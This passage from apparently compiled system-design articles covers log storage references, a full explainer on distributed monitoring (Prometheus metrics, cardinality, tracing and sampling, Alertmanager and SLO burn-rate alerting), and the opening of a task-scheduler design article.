- Familiarity with time-series data characteristics
- Basic knowledge of search indexing concepts

### Terminology

- **LSM Tree (Log-Structured Merge Tree)**: Write-optimized data structure that batches writes in memory and flushes to immutable sorted files
- **Inverted Index**: Mapping from terms to documents containing those terms; enables full-text search
- **Bloom Filter**: Probabilistic data structure for set membership with false positives but no false negatives
- **ILM (Index Lifecycle Management)**: Automated policy for transitioning data through storage tiers
- **LogQL**: Grafana Loki's query language, inspired by PromQL

### Summary

- Structured logging (JSON/Protobuf) shifts parsing cost from query time to write time
- Collection agents trade resource efficiency (DaemonSet) against isolation (sidecar)
- Message queue buffers (Kafka) decouple collection from storage, enabling replay and fan-out
- Columnar storage (ClickHouse) achieves 170x compression; LSM trees (Elasticsearch) enable rich indexing
- Label-only indexing (Loki) costs 10x less than full-text indexing but requires content scanning
- Hot/warm/cold tiering balances query latency against storage cost—automate with ILM

### References

- [Protocol Buffers Documentation](https://protobuf.dev/overview/) - Schema evolution rules and best practices
- [Netflix Petabyte-Scale Logging with ClickHouse](https://clickhouse.com/blog/netflix-petabyte-scale-logging) - 5 PB/day architecture details
- [ClickHouse Log Compression](https://clickhouse.com/blog/log-compression-170x) - 170x compression techniques
- [Grafana Loki Architecture](https://grafana.com/docs/loki/latest/get-started/architecture/) - Label-based indexing design
- [The Concise Guide to Grafana Loki Labels](https://grafana.com/blog/2023/12/20/the-concise-guide-to-grafana-loki-everything-you-need-to-know-about-labels/) - Cardinality constraints and best practices
- [Elasticsearch from the Bottom Up](https://www.elastic.co/blog/found-elasticsearch-from-the-bottom-up) - Lucene segment architecture
- [Elasticsearch Data Tiers](https://www.elastic.co/docs/manage-data/lifecycle/data-tiers) - Hot/warm/cold/frozen storage
- [Splunk SmartStore Architecture](https://help.splunk.com/en/splunk-enterprise/administer/manage-indexers-and-indexer-clusters/9.0/implement-smartstore-to-reduce-local-storage-requirements/smartstore-architecture-overview) - Compute-storage separation
- [Datadog CloudPrem](https://www.datadoghq.com/blog/introducing-datadog-cloudprem/) - Self-hosted log management architecture
- [Fluent Bit Architecture Patterns](https://fluentbit.io/blog/2020/12/03/common-architecture-patterns-with-fluentd-and-fluent-bit/) - Edge collection strategies
- [Uber Distributed Tracing](https://www.uber.com/blog/distributed-tracing/) - Jaeger architecture and trace correlation
- [Lessons from Building Observability Tools at Netflix](https://netflixtechblog.com/lessons-from-building-observability-tools-at-netflix-7cfafed6ab17) - Multi-system observability stack
- [Writing a Full-Text Search Engine Using Bloom Filters](https://www.stavros.io/posts/bloom-filter-search-engine/) - Bloom filter vs inverted index analysis
- [Managing Backpressure in Kafka](https://www.designandexecute.com/designs/how-to-manage-backpressure-in-kafka/) - Consumer backpressure techniques

---

## Distributed Monitoring Systems

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/distributed-monitoring
**Category:** System Design / System Design Building Blocks
**Description:** Designing observability infrastructure for metrics, logs, and traces: understanding time-series databases, collection architectures, sampling strategies, and alerting systems that scale to billions of data points.

# Distributed Monitoring Systems

Designing observability infrastructure for metrics, logs, and traces: understanding time-series databases, collection architectures, sampling strategies, and alerting systems that scale to billions of data points.

<figure>

![Overview of distributed monitoring architecture showing collection methods, telemetry types, and storage backends](./overview-of-distributed-monitoring-architecture-showing-collection-methods-telem.svg)

<figcaption>Overview of distributed monitoring architecture showing collection methods, telemetry types, and storage backends</figcaption>

</figure>

## Abstract

Distributed monitoring is fundamentally about **trade-offs between resolution, cost, and queryability**. The core tensions:

- **Cardinality vs. cost**: Every unique label combination creates a time series. A single metric with user_id labels across 1M users generates 1M series—each consuming memory and storage.
- **Sampling vs. completeness**: At Google's scale, Dapper samples 1 in 1,024 traces. You'll miss rare issues but avoid drowning in data.
- **Aggregation vs. detail**: Metrics provide fast, cheap aggregates but lose individual request context. Traces preserve full context but cost 100-1000× more per request.

The key mental model:

| Signal      | Cardinality                      | Cost/Event | Query Speed  | Best For                 |
| ----------- | -------------------------------- | ---------- | ------------ | ------------------------ |
| **Metrics** | Must be low (<10K series/metric) | ~0.001¢    | Milliseconds | Dashboards, alerts, SLOs |
| **Logs**    | Unlimited                        | ~0.1¢      | Seconds      | Debugging, audit trails  |
| **Traces**  | Unlimited (but sample)           | ~1¢        | Seconds      | Request flow analysis    |

Modern observability links these signals: **exemplars** connect metric spikes to specific traces; **trace IDs** in logs enable correlation. The goal is starting from a metric alert, drilling into relevant traces, and finding the specific log line—without pre-aggregating everything.

## Metrics: Types and Data Models

### Counter

A **counter** is a monotonically increasing value that resets to zero on restart. Use for: request counts, bytes transferred, errors.

**Critical behavior**: Counters must be queried with `rate()` or `increase()`, not raw values. A counter showing `1,000,000` tells you nothing—`rate(requests_total[5m])` showing `500/sec` is actionable.

**Why monotonic?** If counters could decrease, detecting resets would be ambiguous. The monotonic constraint means any decrease signals a restart, allowing monitoring systems to handle resets correctly.

```
# Bad: querying raw counter
requests_total{service="api"} # Returns 847293847

# Good: rate over time
rate(requests_total{service="api"}[5m]) # Returns 127.3/sec
```

### Gauge

A **gauge** is a value that can increase or decrease. Use for: temperature, queue depth, active connections, memory usage.

**Common mistake**: Using gauges for values that should be counters. If you're tracking "requests since startup" as a gauge, you lose the ability to detect resets and calculate rates correctly.

### Histogram

A **histogram** samples observations and counts them in configurable buckets. Use for: request latency, response sizes.

**Prometheus histogram**:

- Cumulative buckets: `le="0.1"` includes all requests ≤100ms
- Enables percentile calculation via `histogram_quantile()`
- Trade-off: Bucket boundaries are static; wrong boundaries lose precision

```
# Request latency histogram with buckets at 10ms, 50ms, 100ms, 500ms, 1s
http_request_duration_seconds_bucket{le="0.01"} 2451
http_request_duration_seconds_bucket{le="0.05"} 8924
http_request_duration_seconds_bucket{le="0.1"} 12847
http_request_duration_seconds_bucket{le="0.5"} 15234
http_request_duration_seconds_bucket{le="1"} 15401
http_request_duration_seconds_bucket{le="+Inf"} 15523
http_request_duration_seconds_sum 892.47
http_request_duration_seconds_count 15523
```

**OpenTelemetry exponential histogram**: Uses base-2 exponential bucket boundaries computed from a scale factor. At scale 0, boundaries are powers of 2: (0.25, 0.5], (0.5, 1], (1, 2], (2, 4]. The default 160 buckets cover 1ms to 100s with <5% relative error.

**Why exponential?** Explicit histograms require N-1 boundary values (8 bytes each). Exponential histograms need only scale + offset (2 values), reducing storage while maintaining precision across wide ranges.

### Summary

A **summary** calculates streaming quantiles client-side. Use when: exact percentiles are critical and aggregation across instances is not needed.

**Critical limitation**: Summaries cannot be aggregated. The p99 of three services' p99s is mathematically meaningless. For multi-instance services, use histograms.

| Feature             | Histogram                         | Summary                            |
| ------------------- | --------------------------------- | ---------------------------------- |
| Aggregation         | ✅ Can aggregate across instances | ❌ Cannot aggregate                |
| Percentile accuracy | Approximate (bucket-dependent)    | Exact (within time window)         |
| Server cost         | Low (just increment counters)     | Higher (maintains streaming state) |
| Configuration       | Bucket boundaries                 | Quantile targets, time window      |

### The Cardinality Problem

**Cardinality** = unique combinations of metric name × label values. A metric with no labels = 1 series. Add labels:

```
http_requests_total{method, status, endpoint, user_id}
```

With 5 methods × 50 statuses × 100 endpoints × 1M users = **25 billion series**. This will crash any time-series database.

**Design rules**:

1. **Never use unbounded labels**: user_id, request_id, trace_id, email, IP address
2. **Target <10 cardinality per label**: If a label could grow to 100+ values, reconsider
3. **Move high-cardinality data to logs/traces**: They're designed for it

**Cardinality explosion symptoms**:

- Prometheus OOM crashes during compaction
- Query timeouts on dashboards
- Scrape duration exceeding scrape interval
- Memory usage growing faster than data volume

## Collection Architecture: Push vs. Pull

### Pull-Based (Prometheus Model)

Prometheus scrapes HTTP endpoints at configured intervals (default: 15s-60s). Targets expose metrics at `/metrics`.

**Design rationale** (Brian Brazil, Prometheus creator): "Pull is very slightly better... from an engineering standpoint, push vs pull largely doesn't matter. But pull gives you target health visibility—you immediately know when a target is down."

**Advantages**:

- **Target health for free**: Failed scrapes surface immediately via `up` metric
- **Debuggable**: curl the `/metrics` endpoint manually
- **Centralized control**: Change scrape intervals without redeploying apps
- **Natural rate limiting**: Prometheus controls load on targets
- **Graceful degradation**: If Prometheus is down, apps are unaffected

**Disadvantages**:

- **Firewall challenges**: Prometheus must reach targets (problematic for NAT, serverless)
- **Short-lived jobs**: If a job dies before the next scrape, metrics are lost
- **Service discovery required**: Must know all targets

**Scale reference**: A single Prometheus server handles ~800,000 samples/second with 10-second scrape intervals across 10,000+ machines.

### Push-Based (InfluxDB, Datadog Model)

Applications push metrics to a central collector.

**Advantages**:

- **Works across firewalls**: Outbound connections only
- **Supports ephemeral workloads**: Serverless, batch jobs, short-lived containers
- **Event-driven metrics**: Can push immediately on significant events

**Disadvantages**:

- **No automatic target health**: Must implement health checks separately
- **Backpressure complexity**: What happens when the collector is slow?
- **Thundering herd**: All apps pushing simultaneously after restart

### Pushgateway: Bridging the Gap

For batch jobs or serverless functions that can't be scraped:

```
# Job pushes metrics before exiting
echo "batch_job_duration_seconds 47.3" | curl --data-binary @- \
  http://pushgateway:9091/metrics/job/nightly_report
```

**Critical limitation**: Pushgateway never forgets. Metrics persist until manually deleted. A job that ran once months ago still appears in queries.

**When to use**: Only for truly short-lived jobs (<1 scrape interval). Not for long-running services that happen to be behind a firewall—use service mesh or federation instead.

### OpenTelemetry Collector

A vendor-neutral pipeline for receiving, processing, and exporting telemetry.

```
receivers:        # OTLP, Prometheus, Jaeger, etc.
  ↓
processors:       # Batching, sampling, filtering, enrichment
  ↓
exporters:        # Prometheus, Jaeger, vendor backends
```

**Deployment patterns**:

| Pattern       | Use Case              | Trade-off                                     |
| ------------- | --------------------- | --------------------------------------------- |
| **Sidecar**   | Per-pod in Kubernetes | Maximum isolation, highest resource overhead  |
| **DaemonSet** | Per-node agent        | Balanced resource use, node-level correlation |
| **Gateway**   | Centralized cluster   | Lowest overhead, single point of failure      |

**Tail sampling architecture**: To make sampling decisions after trace completion, you need two collector tiers:

1. **Load-balancing tier**: Routes all spans with same trace_id to same collector
2. **Sampling tier**: Buffers complete traces, applies policies, samples

This requires consistent hashing on trace_id—if spans scatter across collectors, you can't make trace-level decisions.

## Time-Series Database Internals

### Gorilla Compression (Facebook, 2015)

The Gorilla paper introduced compression achieving **1.37 bytes per sample** (down from 16 bytes for timestamp + float64).

**Timestamp compression (delta-of-delta)**:

Most metrics arrive at fixed intervals. If scraping every 15 seconds:

```
Timestamps:  1000, 1015, 1030, 1045
Deltas:           15,   15,   15
Delta-of-delta:        0,    0
```

When delta-of-delta = 0, store a single bit. Result: **96% of timestamps compress to 1 bit**.

**Value compression (XOR)**:

Consecutive metric values are often similar. XOR reveals only changed bits:

```
Value 1:   0x4059000000000000 (100.0)
Value 2:   0x4059100000000000 (100.25)
XOR:       0x0000100000000000
```

Store only the position and length of meaningful bits. **51% of values compress to 1 bit** (identical to previous).

### Prometheus TSDB Architecture

**Write path**:

1. **Head block** (in-memory): Last ~2 hours of data
2. **WAL (Write-Ahead Log)**: 128MB segments for crash recovery
3. **Memory-mapped chunks**: Full chunks flushed to disk, memory-mapped back (since v2.19)
4. **Compaction**: Head block → persistent block every 2 hours

**Block structure**:

```
01BKGTZQ1WNWHNJNAC82 (block directory)
├── meta.json           # Block metadata, time range
├── index               # Inverted index: labels → series IDs
├── chunks/             # Compressed time-series data
│   └── 000001
└── tombstones          # Deletion markers
```

**Index design**: Inverted index using roaring bitmaps. Query `{job="api", status="500"}` intersects the bitmap for `job=api` with `status=500` to find matching series IDs.

**Compaction trade-offs**:

- Merges blocks for better compression and query performance
- Uses significant CPU/memory during compaction
- Can cause OOM on high-cardinality setups

### VictoriaMetrics Optimizations

VictoriaMetrics achieves **7× less storage than Prometheus** for the same data through:

- **Better compression**: Custom algorithms beyond Gorilla
- **Optimized inverted index**: Handles high cardinality more gracefully
- **Memory efficiency**: 10× less RAM than InfluxDB for millions of series

**Cluster architecture** (shared-nothing):

- **vminsert**: Stateless, receives data, distributes via consistent hashing
- **vmstorage**: Stateful, stores data, handles queries for its partition
- **vmselect**: Stateless, queries all vmstorage nodes, merges results

vmstorage nodes don't communicate with each other—this simplifies operations but means queries must fan out to all nodes.

### Netflix Atlas Scale

Netflix's Atlas processes **1 billion+ metrics per minute** with:

- In-memory storage for the query hot path (last 2 weeks)
- Inverted index using roaring bitmaps (like Lucene)
- Streaming evaluation for alerts (20× more alert queries than polling could support)

**Dimensional explosion example**: One Netflix service with dimensions for device (~1,000 types) × country (~50) = 50,000 series per node × 100 nodes = 5 million series for one metric. This is normal at Netflix's scale.

## Distributed Tracing

### Fundamentals: Spans and Traces

A **span** represents a single operation: an HTTP request handler, a database query, a function call. Spans contain:

- Trace ID (shared across all spans in the trace)
- Span ID (unique to this span)
- Parent span ID (forms the tree structure)
- Start time, duration
- Tags/attributes (key-value metadata)
- Events/logs (timestamped annotations)

A **trace** is the tree of spans representing a complete request flow across services.

### W3C Trace Context (Standard)

The W3C Trace Context specification defines propagation headers:

**traceparent** (required):

```
00-0af7651916cd43dd8448eb211c80319c-b9c7c989f97918e1-01
│   │                                │                 │
│   │                                │                 └─ Trace flags (sampled)
│   │                                └─ Parent span ID (16 hex chars)
│   └─ Trace ID (32 hex chars)
└─ Version (always 00)
```

**tracestate** (optional): Vendor-specific key-value pairs, max 32 entries:

```
tracestate: congo=t61rcWkgMzE,rojo=00f067aa0ba902b7
```

**Design rationale**: No hyphens in header names (`traceparent` not `trace-parent`) because trace context propagates beyond HTTP—through message queues, databases, etc.—where hyphenated names cause issues.

### Sampling Strategies

At scale, tracing everything is impossible. Google's Dapper samples **1 in 1,024 traces** by default.

**Head-based sampling**: Decision made at trace start.

- ✅ Simple, stateless
- ✅ No buffering required
- ❌ Might miss interesting traces (errors, slow requests)

**Tail-based sampling**: Decision made after trace completion.

- ✅ Can keep all errors, slow traces, specific paths
- ✅ More intelligent sampling policies
- ❌ Requires buffering complete traces
- ❌ Needs consistent routing (all spans to same collector)

**Tail sampling policies** (OpenTelemetry Collector supports 13+):

| Policy               | Keep When                       |
| -------------------- | ------------------------------- |
| **Latency**          | Trace duration > threshold      |
| **Status code**      | Any span has error status       |
| **Rate limiting**    | N traces per second             |
| **Probabilistic**    | Random % of traces              |
| **String attribute** | Specific attribute values match |

**Hybrid approach**: For very high volume, use head-based sampling first (keep 10%), then tail-based sampling on that subset for intelligent filtering.

### Google Dapper Architecture

Dapper's design principles (from the 2010 paper):

1. **Ubiquitous deployment**: Instrument ~1,500 lines of C++ in the RPC library—no application changes
2. **Low overhead**: Sampling keeps CPU impact negligible
3. **Application transparency**: Developers don't need to think about tracing

**Data flow**:

1. Spans written to local log files
2. Daemons collect logs, write to BigTable
3. Each row = one trace, each column = one span
4. Median latency: 15 seconds from span creation to queryable

**Two-level sampling**:

1. **Trace sampling** (in application): 1/1,024 traces instrumented
2. **Collection sampling** (in daemon): Additional filtering before BigTable

"They leverage the fact that all spans for a given trace share a common trace id. For each span seen, they hash the trace id... either sample or discard entire traces rather than individual spans."

## Alerting Systems

### Alertmanager Architecture

Alertmanager processes alerts from Prometheus through:

1. **Dispatcher**: Routes alerts based on label matchers
2. **Inhibition**: Suppresses alerts when related alerts are firing
3. **Silencing**: Mutes alerts during maintenance windows
4. **Grouping**: Batches related alerts into single notifications
5. **Notification**: Sends to receivers (Slack, PagerDuty, email)

**Grouping example**: During an outage affecting 100 pods, you want one page "100 pods down in cluster-east" not 100 separate pages.

```yaml
route:
  group_by: ["alertname", "cluster"]
  group_wait: 30s # Wait for more alerts before sending
  group_interval: 5m # Time between grouped notifications
  repeat_interval: 4h # How often to re-send
```

**Inhibition example**: If the entire cluster is unreachable, suppress all per-pod alerts:

```yaml
inhibit_rules:
  - source_matchers: [severity="critical", alertname="ClusterDown"]
    target_matchers: [severity="warning"]
    equal: ["cluster"]
```

### Threshold-Based vs. Anomaly Detection

**Static thresholds**: Alert when `error_rate > 1%`

- ✅ Predictable, easy to understand
- ❌ Doesn't adapt to traffic patterns
- ❌ Requires manual tuning per service

**Anomaly detection**: Alert when value deviates from learned baseline

- ✅ Adapts to patterns (daily cycles, growth)
- ❌ Black box—hard to explain why it alerted
- ❌ Cold start problem (needs historical data)
- ❌ High false positive rates in practice

**Production reality**: Most teams use static thresholds with percentile-based targets. Anomaly detection works for specific use cases (fraud detection, capacity planning) but not general alerting.

### SLO-Based Alerting (Google SRE Approach)

Traditional alerting on symptoms ("error rate > 1%") has problems:

- What's the right threshold? 1%? 0.1%?
- A 1% error rate for 1 minute is different from 1% for 1 hour

**Error budget** = 1 - SLO. For 99.9% availability: 0.1% error budget per month (~43 minutes).

**Burn rate** = how fast you're consuming error budget. Burn rate 1 = exactly on pace. Burn rate 10 = will exhaust budget in 3 days instead of 30.

**Multi-window, multi-burn-rate alerts** (Google's recommendation):

| Burn Rate | Long Window | Short Window | Severity | Budget Consumed |
| --------- | ----------- | ------------ | -------- | --------------- |
| 14.4      | 1 hour      | 5 min        | Page     | 2% in 1 hour    |
| 6         | 6 hours     | 30 min       | Page     | 5% in 6 hours   |
| 1         | 3 days      | 6 hours      | Ticket   | 10% in 3 days   |

**Why two windows?** The long window catches sustained issues. The short window prevents alerting on issues that already recovered.

**Low-traffic caveat**: If a service gets 10 requests/hour, 1 failure = 10% error rate = 1,000× burn rate. For low-traffic services, use longer evaluation windows or count-based thresholds.

## Observability Correlation

### Exemplars: Connecting Metrics to Traces

An **exemplar** is a trace ID attached to a specific metric sample. When investigating a latency spike, click through to see an actual slow trace.

**How it works**:

```
# Prometheus metric with exemplar
http_request_duration_seconds_bucket{le="0.5"} 24054 # {trace_id="abc123"} 0.47
```

The metric records 24,054 requests ≤500ms. The exemplar says "here's one specific request at 470ms with trace_id abc123."

**Requirements**:

- Client library must support exemplars (OpenTelemetry does)
- TSDB must store exemplars (Prometheus 2.25+)
- Visualization must display and link them (Grafana)

### Trace-Log Correlation

Include trace_id and span_id in structured logs:

```json
{
  "timestamp": "2024-01-15T10:23:45Z",
  "level": "error",
  "message": "Database connection timeout",
  "trace_id": "0af7651916cd43dd8448eb211c80319c",
  "span_id": "b9c7c989f97918e1",
  "service": "order-service"
}
```

Now Grafana can show "all logs for this trace" with a single click from the trace view.

### Metrics from Traces

**Service metrics** (RED): Rate, Errors, Duration computed from spans

**Benefits**:

- No separate instrumentation—traces generate metrics automatically
- Consistent definitions across services
- Enables drill-down from metric to trace

**Trade-off**: Trace-derived metrics have higher latency (spans must be processed) and depend on sampling rates for accuracy.

## Design Choices Summary

### Collection Method

| Factor                   | Pull (Prometheus)       | Push (OTLP)                 | Hybrid (Collector)     |
| ------------------------ | ----------------------- | --------------------------- | ---------------------- |
| Target health visibility | ✅ Built-in `up` metric | ❌ Requires separate checks | ✅ Via receiver health |
| Works through firewalls  | ❌ Needs network access | ✅ Outbound only            | ✅ Configurable        |
| Short-lived jobs         | ❌ May miss             | ✅ Push before exit         | ✅ Via Pushgateway     |
| Configuration location   | Centralized             | Per-application             | Centralized            |

**Default recommendation**: Pull for long-running services (simpler, health built-in). Push via OpenTelemetry Collector for serverless/ephemeral workloads.

### Time-Series Database

| Factor             | Prometheus          | VictoriaMetrics     | Managed (Datadog, etc.) |
| ------------------ | ------------------- | ------------------- | ----------------------- |
| Cost               | Infrastructure only | Infrastructure only | Per-metric pricing      |
| Operational burden | Moderate            | Low-moderate        | None                    |
| High availability  | Federation/Thanos   | Built-in clustering | Built-in                |
| Cardinality limits | ~10M series         | ~100M series        | Soft limits + overage   |

**Scale thresholds**:

- <1M active series: Single Prometheus
- 1-10M series: Prometheus + remote write to long-term storage
- 10M+ series: VictoriaMetrics cluster or managed service

### Tracing Sampling

| Approach   | Overhead | Capture Rate         | Complexity              |
| ---------- | -------- | -------------------- | ----------------------- |
| Head 100%  | Highest  | All traces           | Simple                  |
| Head 1%    | Low      | 1% random            | Simple                  |
| Tail-based | Medium   | All errors + sampled | High (requires routing) |
| Hybrid     | Low      | Best of both         | Highest                 |

**Default recommendation**: Start with head-based 10-100% sampling. Move to tail-based when you need to capture all errors or have volume requiring <1% sampling.

### Alerting Approach

| Approach          | False Positives | Actionability              | Setup Effort |
| ----------------- | --------------- | -------------------------- | ------------ |
| Static thresholds | Medium          | High (clear trigger)       | Low          |
| Anomaly detection | High            | Medium (why alert?)        | Medium       |
| SLO burn rate     | Low             | High (budget impact clear) | High         |

**Default recommendation**: SLO-based alerting with multi-window burn rates for critical services. Static thresholds for simpler cases where SLO definition is unclear.

## Common Pitfalls

### Pitfall 1: Cardinality Explosion from Dynamic Labels

**The mistake**: Adding request_id, user_id, or IP address as metric labels.

**Why it happens**: Developers want to query metrics by these dimensions. It works in development with 100 users.

**The consequence**: Production with 1M users creates 1M series per metric. Prometheus OOMs, queries timeout, alerts stop working.

**The fix**: High-cardinality dimensions belong in logs and traces, not metrics. If you need user-level metrics, use a logging pipeline with columnar storage (ClickHouse, BigQuery).

### Pitfall 2: Alerting on Raw Counter Values

**The mistake**: `alert: requests_total > 1000000`

**Why it happens**: The counter is visible in Grafana, the number is big, seems like a problem.

**The consequence**: Alert fires based on how long the service has been running, not actual request rate. Restarts "fix" the alert.

**The fix**: Always use `rate()` or `increase()` with counters:

```promql
# Alert on request rate, not total
alert: HighRequestRate
expr: rate(requests_total[5m]) > 1000
```

### Pitfall 3: Sampling That Loses Error Traces

**The mistake**: Head-based 1% sampling drops 99% of errors.

**Why it happens**: Error rate is 0.1%. Of that 0.1%, you keep 1% = 0.001% of requests are error traces you can analyze.

**The consequence**: When debugging production issues, no error traces are available.

**The fix**: Tail-based sampling with error retention policy, or hybrid approach:

```yaml
# OpenTelemetry Collector tail sampling
policies:
  - name: errors
    type: status_code
    status_code: { status_codes: [ERROR] }
  - name: probabilistic
    type: probabilistic
    probabilistic: { sampling_percentage: 1 }
```

### Pitfall 4: Alert Fatigue from Noisy Alerts

**The mistake**: Alerting on every metric deviation without proper thresholds or grouping.

**Why it happens**: Starting with "alert on everything" seems safe. Better to over-alert than miss issues.

**The consequence**: On-call ignores alerts. Real incidents get lost in noise. Team burns out.

**The fix**:

1. **SLO-based alerts**: Only page when error budget is burning
2. **Aggressive grouping**: One alert per incident, not per pod
3. **Proper inhibition**: Suppress symptoms when root cause is alerting
4. **Track signal-to-noise ratio**: Target >50% actionable alerts

## Conclusion

Distributed monitoring is not about collecting more data—it's about **collecting the right data at the right resolution for the right cost**.

**Key principles**:

1. **Metrics for dashboards and alerts** (low cardinality, high aggregation)
2. **Logs for debugging** (high cardinality, full detail)
3. **Traces for request flow** (sampled, correlated)
4. **Correlation is the multiplier**: Exemplars, trace IDs in logs, metrics from traces

**Start simple**:

- Pull-based metrics with Prometheus
- Head-based trace sampling at 10%
- SLO-defined alert thresholds

**Scale when needed**:

- Tail-based sampling when error capture matters
- VictoriaMetrics or managed service when cardinality exceeds 10M series
- OpenTelemetry Collector when multi-backend or complex processing required

The 1.37 bytes/sample compression from Gorilla and the 1/1,024 sampling rate from Dapper aren't arbitrary—they represent battle-tested trade-offs from systems handling billions of data points. Understand these trade-offs, and you can design monitoring that scales with your system.

## Appendix

### Prerequisites

- Understanding of distributed systems concepts (latency, throughput, consistency)
- Familiarity with basic statistics (percentiles, rates, distributions)
- Experience with at least one monitoring system (Prometheus, Datadog, etc.)

### Terminology

- **Cardinality**: Number of unique time series (metric name × label value combinations)
- **Scrape**: Prometheus pulling metrics from a target's `/metrics` endpoint
- **Span**: Single operation in a distributed trace (has trace_id, span_id, parent_id)
- **Exemplar**: A trace ID attached to a metric sample for correlation
- **Burn rate**: Speed of error budget consumption relative to SLO (burn rate 1 = on pace)
- **Head block**: In-memory portion of Prometheus TSDB containing recent samples
- **WAL (Write-Ahead Log)**: Durability mechanism that logs writes before applying them
- **OTLP (OpenTelemetry Protocol)**: Standard protocol for transmitting telemetry data

### Summary

- **Cardinality is the primary scaling constraint** for metrics—keep labels bounded (<10 unique values per label)
- **Gorilla compression** achieves 1.37 bytes/sample through delta-of-delta timestamps and XOR-encoded values
- **Pull-based collection** provides target health visibility; push works better for ephemeral workloads
- **Tail-based sampling** captures all errors but requires consistent routing and buffering
- **SLO burn-rate alerts** with multi-window evaluation reduce false positives and false negatives
- **Exemplars and trace IDs** connect metrics, logs, and traces for end-to-end debugging

### References

#### Foundational Papers

- [Gorilla: A Fast, Scalable, In-Memory Time Series Database](https://www.vldb.org/pvldb/vol8/p1816-teller.pdf) - Facebook's compression algorithms achieving 12× reduction in storage (VLDB 2015)
- [Dapper, a Large-Scale Distributed Systems Tracing Infrastructure](https://research.google.com/archive/papers/dapper-2010-1.pdf) - Google's distributed tracing design, basis for Zipkin and Jaeger

#### Specifications

- [W3C Trace Context](https://www.w3.org/TR/trace-context/) - Standard for distributed trace propagation headers
- [OpenTelemetry Metrics Data Model](https://opentelemetry.io/docs/specs/otel/metrics/data-model/) - Specification for metrics including exponential histograms
- [OpenTelemetry Sampling](https://opentelemetry.io/docs/concepts/sampling/) - Head-based and tail-based sampling concepts

#### Official Documentation

- [Prometheus Storage](https://prometheus.io/docs/prometheus/latest/storage/) - TSDB architecture, WAL, compaction
- [Prometheus TSDB: The Head Block](https://ganeshvernekar.com/blog/prometheus-tsdb-the-head-block/) - Deep dive into Prometheus internals by maintainer
- [Alertmanager Configuration](https://prometheus.io/docs/alerting/latest/configuration/) - Routing, grouping, inhibition
- [VictoriaMetrics Cluster Architecture](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/) - Shared-nothing design for high cardinality

#### SRE Practices

- [Google SRE Workbook: Alerting on SLOs](https://sre.google/workbook/alerting-on-slos/) - Multi-window, multi-burn-rate alerting methodology
- [Prometheus Pull Model Rationale](https://prometheus.io/blog/2016/07/23/pull-does-not-scale-or-does-it/) - Design decisions behind pull-based architecture

#### Production Case Studies

- [Netflix Atlas: Primary Telemetry Platform](https://netflixtechblog.com/introducing-atlas-netflixs-primary-telemetry-platform-bd31f4d8ed9a) - Handling 1B+ metrics per minute
- [Grafana Observability Correlation](https://grafana.com/blog/2020/03/31/how-to-successfully-correlate-metrics-logs-and-traces-in-grafana/) - Connecting metrics, logs, and traces
- [Managing High Cardinality in Prometheus](https://grafana.com/blog/2022/10/20/how-to-manage-high-cardinality-metrics-in-prometheus-and-kubernetes/) - Practical cardinality management strategies

---

## Task Scheduler Design

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/task-scheduler-design
**Category:** System Design / System Design Building Blocks
**Description:** Designing reliable distributed task scheduling systems: understanding scheduling models, coordination mechanisms, delivery guarantees, and failure handling strategies across Airflow, Celery, Temporal, and similar platforms.

# Task Scheduler Design

Designing reliable distributed task scheduling systems: understanding scheduling models, coordination mechanisms, delivery guarantees, and failure handling strategies across Airflow, Celery, Temporal, and similar platforms.

<figure>

![Task scheduler lifecycle showing submission, scheduling, execution, and failure handling paths](./task-scheduler-lifecycle-showing-submission-scheduling-execution-and-failure-han.svg)

<figcaption>Task scheduler lifecycle showing submission, scheduling, execution, and failure handling paths</figcaption>

</figure>

## Abstract

Distributed task scheduling is fundamentally about **coordination without contention**. The core challenge: multiple scheduler instances must agree on which tasks to run, when to run them, and which worker should execute them—without creating bottlenecks or allowing duplicate execution.

The key mental model:

- **Scheduling** is separate from **execution**. Schedulers determine _what_ runs and _when_; workers perform the actual computation. This separation enables independent scaling.
- **Exactly-once execution is a lie**. In practice, systems provide **at-least-once delivery + idempotent handlers** = effectively once. True exactly-once requires distributed transactions with unacceptable overhead.
- **The database is your coordination primitive**. Modern schedulers (Airflow, Quartz, db-scheduler) use `SELECT ... FOR UPDATE SKIP LOCKED` rather than consensus algorithms. The operational simplicity outweighs the theoretical elegance of Raft/Paxos.
- **Time is unreliable**. Clock skew between nodes means "run at 3:00 PM" can trigger at 3:00:00.000 on one node and 3:00:00.500 on another. Robust schedulers detect clock anomalies and use logical ordering where physical time fails.

The trade-off space:

| Guarantee     | Cost                  | Use When                        |
| ------------- | --------------------- | ------------------------------- |
| At-most-once  | Lowest latency        | Analytics, non-critical metrics |
| At-least-once | Requires idempotency  | Most production workloads       |
| Exactly-once  | 10-50% throughput hit | Financial transactions, billing |

## Scheduling Models

### Cron-Based (Time-Triggered)

**Mechanism:** Tasks fire at specific times defined by cron expressions (e.g., `0 9 * * *` for 9 AM daily). The scheduler evaluates expressions against current time and enqueues matching tasks.

**Best when:**

- Predictable, recurring workloads (daily reports, hourly aggregations)
- Tasks align with business hours or calendar boundaries
- Execution time doesn't drift based on previous run

**Trade-offs:**

- ✅ Human-readable schedules
- ✅ Well-understood semantics (Unix cron since 1975)
- ✅ Natural fit for business processes
- ❌ Clock skew can cause missed or duplicate runs
- ❌ "Catch-up" behavior varies by implementation
- ❌ Overlapping runs if previous execution exceeds interval

**Implementation detail:** Kubernetes CronJobs use 5-field cron syntax interpreted by kube-controller-manager. As of Kubernetes 1.27, `spec.timeZone` accepts IANA timezone names, eliminating UTC-only limitations.

### Interval-Based (Fixed Delay)

**Mechanism:** Tasks run at fixed intervals _from the completion of the previous run_ (e.g., "every 30 minutes after last success"). The next execution time = previous completion + interval.

**Best when:**

- Task duration varies significantly
- You need guaranteed gaps between runs
- Processing load should be spread evenly

**Trade-offs:**

- ✅ Prevents overlapping executions by design
- ✅ Self-adjusting to task duration
- ❌ Execution times drift over the day
- ❌ Can't guarantee "run at 9 AM"
- ❌ First run timing requires separate configuration

**Real-world example:** Temporal Schedules support `every 30 minutes` with optional phase offset aligned to Unix epoch. If a workflow takes 5 minutes, the next run starts 30 minutes after completion—not 30 minutes after the scheduled time.

### Delay-Based (One-Shot Future)

**Mechanism:** Task executes once after a specified delay (e.g., "run in 30 seconds"). Common for deferred processing: send reminder email 24 hours after signup, retry failed payment in 1 hour.

**Best when:**

- One-time future execution
- Delay calculated dynamically per task
- Implementing retry backoff

**Trade-offs:**

- ✅ Simple mental model
